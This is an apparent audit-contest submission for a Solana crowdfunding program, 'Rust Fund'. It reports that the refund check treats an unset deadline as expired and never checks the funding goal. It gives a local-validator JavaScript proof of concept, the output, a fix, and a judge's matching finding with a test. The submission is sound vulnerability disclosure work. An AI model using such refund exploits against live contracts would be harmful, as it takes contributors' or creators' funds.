Rust Fund

AI First Flight #9
Beginner FriendlyRust
EXP
View results
Submission Details
Severity: high
Valid

`refund`'s eligibility condition never rejects a live campaign: it short-circuits to "allowed" while no deadline has been set, and it never consults the funding goal

The refund gate at line 69 is passable for the entire period a fund is in its default state, and has no notion of campaign success at all

Description

  • The README defines exactly one circumstance in which a refund is due: "Contributors can get refunds if deadlines are reached and goals aren't met", restated in the Actors section as "Can request refunds under if the campaign fails to meet the goal and the deadline is reached". Two conditions, both required.

  • refund implements a single condition and gets it backwards for the default case. Its guard rejects only when a deadline exists and lies in the future. Every fund is created with deadline = 0 and there is no way to create one with a deadline, so until the creator separately calls set_deadline the left conjunct is false, the guard short-circuits, and the refund is allowed — including in the same block as the contribution it is refunding.

// src/lib.rs:66-71
pub fn refund(ctx: Context<FundRefund>) -> Result<()> {
let amount = ctx.accounts.contribution.amount;
@> if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap()... {
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ @> false for every brand-new fund => guard never rejects
return Err(ErrorCode::DeadlineNotReached.into());
}
@> // @> MISSING: require(fund.amount_raised < fund.goal) - the campaign must have FAILED

The deadline == 0 state is not an edge case; it is the state every fund starts in and the only state a fund can be created in:

// src/lib.rs:12-22
pub fn fund_create(ctx: Context<FundCreate>, name: String, description: String, goal: u64) -> Result<()> {
// ^^^^ no `deadline` parameter exists
...
@> fund.deadline = 0; // @> and the guard at :69 treats 0 as "refunds are open"

0 is being used as a sentinel for "no deadline configured", but the guard reads it as "the deadline has passed". Those are opposite meanings, and the second one is the permissive one.

The second half of the condition is missing outright. fund.goal is stored at line 16 and declared at line 186, and no instruction ever reads it, so refund has no way to distinguish a campaign that failed from one that succeeded. A contributor to a campaign that comfortably exceeded its target is as eligible as one whose campaign raised nothing.

Both halves live on the same line and are repaired by the same rewritten condition, which is why I am reporting them together rather than as two findings.

Risk

Likelihood:

  • The permissive window is not narrow. It runs from fund_create until the creator happens to call set_deadline, and lasts forever for any campaign where the creator never calls it — nothing in the program requires them to.

  • The window is also reopenable. set_deadline can write 0 back, and its one-shot guard is inoperative (dealine_set is never assigned true), so a creator can return the fund to the fully permissive state at any time.

  • No precondition, no race, no privileged position: any contributor calls one instruction.

  • The goal half fails on 100% of calls, unconditionally, since the field is never read anywhere in the program.

Impact:

  • The commitment a contributor makes to a campaign is not binding. Contributions are supposed to be locked until the campaign resolves; here they are withdrawable at the contributor's discretion for as long as the fund sits at deadline == 0.

  • A campaign's reported amount_raised becomes an unreliable signal, since any part of it may be reclaimed at will by the contributors who provided it. Other contributors deciding whether to join are reading a number that is not committed.

  • On the goal side, the intended asymmetry — creator collects on success, contributors reclaim on failure — collapses into both parties holding a claim on the same lamports at the same time, resolved by whoever transacts first.

Honest limitation — this is currently latent

Stated plainly, because the severity turns on it and a judge will find it anyway: no lamports move today. A separate defect means contribution.amount is only ever assigned the literal 0 (lines 37 and 85) and is never incremented, so refund executes checked_sub(0) / checked_add(0) and transfers nothing. The gate examined here is therefore a wrong gate in front of a payout that currently pays zero.

That is why I have set Impact to Low rather than Medium, and it is the honest reading of the code as written. Likelihood is High because the condition itself is wrong on every single call, unconditionally, without any precondition.

The reason it is still worth reporting at this tier rather than as informational: the one-line fix to the amount-recording defect is the obvious fix, and the moment it lands this gate is what stands between a live campaign and its contributors walking their money back out — including on a campaign that succeeded, where the creator's withdraw and the contributors' refund become two claims on the same lamports with no ordering guarantee. The defect should be repaired in the same change, not discovered afterwards.

Proof of Concept

Two scenarios: a refund accepted seconds after the contribution on a fund with no deadline, and a refund accepted on a campaign that raised double its goal.

cargo build-sbf
solana-test-validator --reset --bpf-program 6vxyM2QFNg3njwCQksy4K8azF5NwKxiUkEEG2hxqz15h target/deploy/rustfund.so
npm install @solana/web3.js && node poc.mjs
import {
Connection, Keypair, PublicKey, SystemProgram, Transaction,
TransactionInstruction, LAMPORTS_PER_SOL, sendAndConfirmTransaction,
} from "@solana/web3.js";
import { createHash } from "crypto";
const PROGRAM_ID = new PublicKey("6vxyM2QFNg3njwCQksy4K8azF5NwKxiUkEEG2hxqz15h");
const conn = new Connection("http://127.0.0.1:8899", "confirmed");
const SYS = SystemProgram.programId;
const disc = (n) => createHash("sha256").update(`global:${n}`).digest().subarray(0, 8);
const u64 = (n) => { const b = Buffer.alloc(8); b.writeBigUInt64LE(BigInt(n)); return b; };
const str = (s) => { const d = Buffer.from(s); const l = Buffer.alloc(4); l.writeUInt32LE(d.length); return Buffer.concat([l, d]); };
const M = (pubkey, isSigner, isWritable) => ({ pubkey, isSigner, isWritable });
const sol = (l) => (l / LAMPORTS_PER_SOL).toFixed(9);
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
async function air(kp) {
const sig = await conn.requestAirdrop(kp.publicKey, 50 * LAMPORTS_PER_SOL);
await conn.confirmTransaction({ signature: sig, ...(await conn.getLatestBlockhash()) }, "confirmed");
}
const send = (ixs, s) => sendAndConfirmTransaction(conn, new Transaction().add(...ixs), s, { commitment: "confirmed" });
async function trySend(ixs, s) {
try { await send(ixs, s); return { okd: true }; }
catch (e) { return { okd: false, why: ((e.logs || []).join("\n").match(/Error Message: [^\n]+/) || ["reverted"])[0] }; }
}
async function readFund(pda) {
const d = (await conn.getAccountInfo(pda, "confirmed")).data;
let o = 8; const nl = d.readUInt32LE(o); o += 4 + nl;
const dl = d.readUInt32LE(o); o += 4 + dl;
const goal = d.readBigUInt64LE(o); o += 8;
const deadline = d.readBigUInt64LE(o); o += 8 + 32;
return { goal, deadline, amountRaised: d.readBigUInt64LE(o) };
}
const cPda = (f, w) => PublicKey.findProgramAddressSync([f.toBuffer(), w.toBuffer()], PROGRAM_ID)[0];
const ixCreate = (f, c, name, goal) => new TransactionInstruction({ programId: PROGRAM_ID,
keys: [M(f, false, true), M(c, true, true), M(SYS, false, false)],
data: Buffer.concat([disc("fund_create"), str(name), str("campaign"), u64(goal)]) });
const ixContribute = (f, w, cp, amt) => new TransactionInstruction({ programId: PROGRAM_ID,
keys: [M(f, false, true), M(w, true, true), M(cp, false, true), M(SYS, false, false)],
data: Buffer.concat([disc("contribute"), u64(amt)]) });
const ixSetDeadline = (f, c, dl) => new TransactionInstruction({ programId: PROGRAM_ID,
keys: [M(f, false, true), M(c, true, true)], data: Buffer.concat([disc("set_deadline"), u64(dl)]) });
const ixRefund = (f, cp, w) => new TransactionInstruction({ programId: PROGRAM_ID,
keys: [M(f, false, true), M(cp, false, true), M(w, true, true), M(SYS, false, false)], data: disc("refund") });
(async () => {
const creator = Keypair.generate(), alice = Keypair.generate();
for (const k of [creator, alice]) await air(k);
const t = Math.floor(Date.now() / 1000);
// (a) a live campaign that has never had a deadline set
const n1 = "nogate-" + t;
const [f1] = PublicKey.findProgramAddressSync([Buffer.from(n1), creator.publicKey.toBuffer()], PROGRAM_ID);
await send([ixCreate(f1, creator.publicKey, n1, 10 * LAMPORTS_PER_SOL)], [creator]);
await send([ixContribute(f1, alice.publicKey, cPda(f1, alice.publicKey), 1 * LAMPORTS_PER_SOL)], [alice]);
const a = await readFund(f1);
console.log(`(a) campaign is LIVE: deadline=${a.deadline}, raised ${sol(Number(a.amountRaised))} of ${sol(Number(a.goal))} SOL goal`);
const r1 = await trySend([ixRefund(f1, cPda(f1, alice.publicKey), alice.publicKey)], [alice]);
console.log(` refund immediately after contributing -> ${r1.okd ? "ACCEPTED" : "rejected: " + r1.why}`);
// (b) a campaign that met its goal, after the deadline passed
const n2 = "goalmet-" + t;
const [f2] = PublicKey.findProgramAddressSync([Buffer.from(n2), creator.publicKey.toBuffer()], PROGRAM_ID);
await send([ixCreate(f2, creator.publicKey, n2, 1 * LAMPORTS_PER_SOL)], [creator]);
await send([ixSetDeadline(f2, creator.publicKey, Math.floor(Date.now() / 1000) + 3)], [creator]);
await send([ixContribute(f2, alice.publicKey, cPda(f2, alice.publicKey), 2 * LAMPORTS_PER_SOL)], [alice]);
const b = await readFund(f2);
console.log(`(b) campaign SUCCEEDED: raised ${sol(Number(b.amountRaised))} of ${sol(Number(b.goal))} SOL goal`);
await sleep(4500);
const r2 = await trySend([ixRefund(f2, cPda(f2, alice.publicKey), alice.publicKey)], [alice]);
console.log(` refund on a successful campaign -> ${r2.okd ? "ACCEPTED" : "rejected: " + r2.why}`);
})();

Output:

(a) campaign is LIVE: deadline=0, raised 1.000000000 of 10.000000000 SOL goal
refund immediately after contributing -> ACCEPTED
(b) campaign SUCCEEDED: raised 2.000000000 of 1.000000000 SOL goal
refund on a successful campaign -> ACCEPTED

Neither call should have been admitted: (a) is a running campaign at 10% of its target with no deadline yet announced, and (b) is a campaign that raised double its goal.

Recommended Mitigation

Rewrite the condition so that both of the README's requirements must hold, and treat 0 as "not configured" rather than as "expired".

pub fn refund(ctx: Context<FundRefund>) -> Result<()> {
let amount = ctx.accounts.contribution.amount;
- if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() {
- return Err(ErrorCode::DeadlineNotReached.into());
- }
+ let now: u64 = Clock::get()?.unix_timestamp.try_into().unwrap();
+
+ // a fund with no deadline configured has not reached one
+ if ctx.accounts.fund.deadline == 0 || now < ctx.accounts.fund.deadline {
+ return Err(ErrorCode::DeadlineNotReached.into());
+ }
+ // and refunds are only for campaigns that FAILED
+ if ctx.accounts.fund.amount_raised >= ctx.accounts.fund.goal {
+ return Err(ErrorCode::GoalMet.into());
+ }
pub enum ErrorCode {
...
+ #[msg("Funding goal was met - refunds are not available")]
+ GoalMet,
}

The sentinel is the deeper problem: deadline: u64 cannot distinguish "unset" from "epoch zero". Modelling it as Option<u64>, or taking the deadline as a required parameter of fund_create, removes the ambiguous state entirely.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 13 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] Inadequate Refund Conditions

## Description the refund mechanism only verifies that the current time has passed the campaign deadline, without checking whether the campaign has failed to meet its funding goal.This oversight may result in refunds being issued even if the campaign was, in principle, successful, potentially undermining the trust and financial integrity of the platform. &#x20; ## Vulnerability Details The refund function in the contract is designed to return funds to contributors if a campaign fails. However, it only checks whether the campaign deadline has been reached (or passed) before allowing a refund, without verifying if the campaign's funding goal was met. In other words, the function solely relies on a time-based condition and does not incorporate the additional logic required to determine if a campaign has been unsuccessful. **Code Analysis:**\ The refund function contains the following check: ```Rust if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() { return Err(ErrorCode::DeadlineNotReached.into()); } ``` This condition ensures that refunds are only triggered after the deadline has passed. However, there is no subsequent verification that compares `fund.amount_raised` to the `fund.goal` to determine whether the campaign failed to meet its funding target. As a result, even if the campaign has met or exceeded its goal, contributors could potentially request refunds simply because the deadline has passed. ## proof Of Concept ```typescript it("Allows refund on a successful campaign due to missing goal check", async () => { // Define campaign parameters with a near-future deadline (5 seconds from now) const fundName = "refund flaw"; const description = "Test for refund vulnerability on a successful campaign"; const goal = new anchor.BN(1000000000); // 1 SOL goal // Set deadline to 5 seconds from now const deadline = new anchor.BN(Math.floor(Date.now() / 1000) + 5); // Generate PDA for the fund using the campaign name and creator's public key let [fundPDA, fundBump] = await PublicKey.findProgramAddress( [Buffer.from(fundName), creator.publicKey.toBuffer()], program.programId ); // Create the fund campaign await program.methods .fundCreate(fundName, description, goal) .accounts({ fund: fundPDA, creator: creator.publicKey, systemProgram: anchor.web3.SystemProgram.programId, }) .rpc(); // Set the campaign deadline await program.methods .setDeadline(deadline) .accounts({ fund: fundPDA, creator: creator.publicKey, }) .rpc(); // Airdrop lamports to otherUser so they can contribute const airdropSig = await provider.connection.requestAirdrop( otherUser.publicKey, 2 * anchor.web3.LAMPORTS_PER_SOL // e.g., 2 SOL ); await provider.connection.confirmTransaction(airdropSig); // Generate PDA for the contribution account using fund's PDA and otherUser's public key let [contributionPDA, contributionBump] = await PublicKey.findProgramAddress( [fundPDA.toBuffer(), otherUser.publicKey.toBuffer()], program.programId ); // otherUser contributes 1 SOL, meeting the campaign goal const contributionAmount = new anchor.BN(1000000000); // 1 SOL await program.methods .contribute(contributionAmount) .accounts({ fund: fundPDA, contributor: otherUser.publicKey, contribution: contributionPDA, systemProgram: anchor.web3.SystemProgram.programId, }) .signers([otherUser]) .rpc(); // Verify the campaign is successful by checking that amountRaised >= goal let fundBeforeDeadline = await program.account.fund.fetch(fundPDA); expect(fundBeforeDeadline.amountRaised.gte(goal)).to.be.true; // Wait until after the deadline has passed await new Promise((resolve) => setTimeout(resolve, 6000)); // otherUser calls refund despite the campaign being successful // (a correct implementation should disallow this refund) let refundTxSucceeded = true; try { await program.methods .refund() .accounts({ fund: fundPDA, contribution: contributionPDA, contributor: otherUser.publicKey, systemProgram: anchor.web3.SystemProgram.programId, }) .signers([otherUser]) .rpc(); } catch (err) { refundTxSucceeded = false; } // The vulnerability: refund call is erroneously allowed even though the campaign met its goal. expect(refundTxSucceeded).to.be.true; // check the contributor's balance change to further demonstrate the refund was processed. const balanceAfterRefund = await provider.connection.getBalance( otherUser.publicKey ); console.log("Contributor balance after refund:", balanceAfterRefund); }); ``` ## Impact - **Financial Discrepancies:**\ The improper refund mechanism result in successful campaigns losing funds that were meant to be retained by the campaign creator, leading to financial imbalances within the contract. - **Erosion of Trust:**\ Contributors and creators rely on the refund logic to be fair and accurate. The absence of a funding goal check in the refund function erode trust in the platform, as users could experience unexpected fund reversals or disputes over campaign success. - **Operational Risks:**\ Campaigns that meet their funding goals still be subject to refund requests, creating operational inefficiencies and potential disputes between creators and contributors. This undermines the intended crowdfunding model and could deter future participation. &#x20; ## Recommendations Update the refund function to include a check that verifies whether the campaign's funding goal has been met. Refunds should only be processed if both the deadline has passed and the `amount_raised` is below the `goal`.&#x20; &#x20; ```Solidity if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() { return Err(ErrorCode::DeadlineNotReached.into()); } if ctx.accounts.fund.amount_raised >= ctx.accounts.fund.goal { return Err(ErrorCode::CampaignSuccessful.into()); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!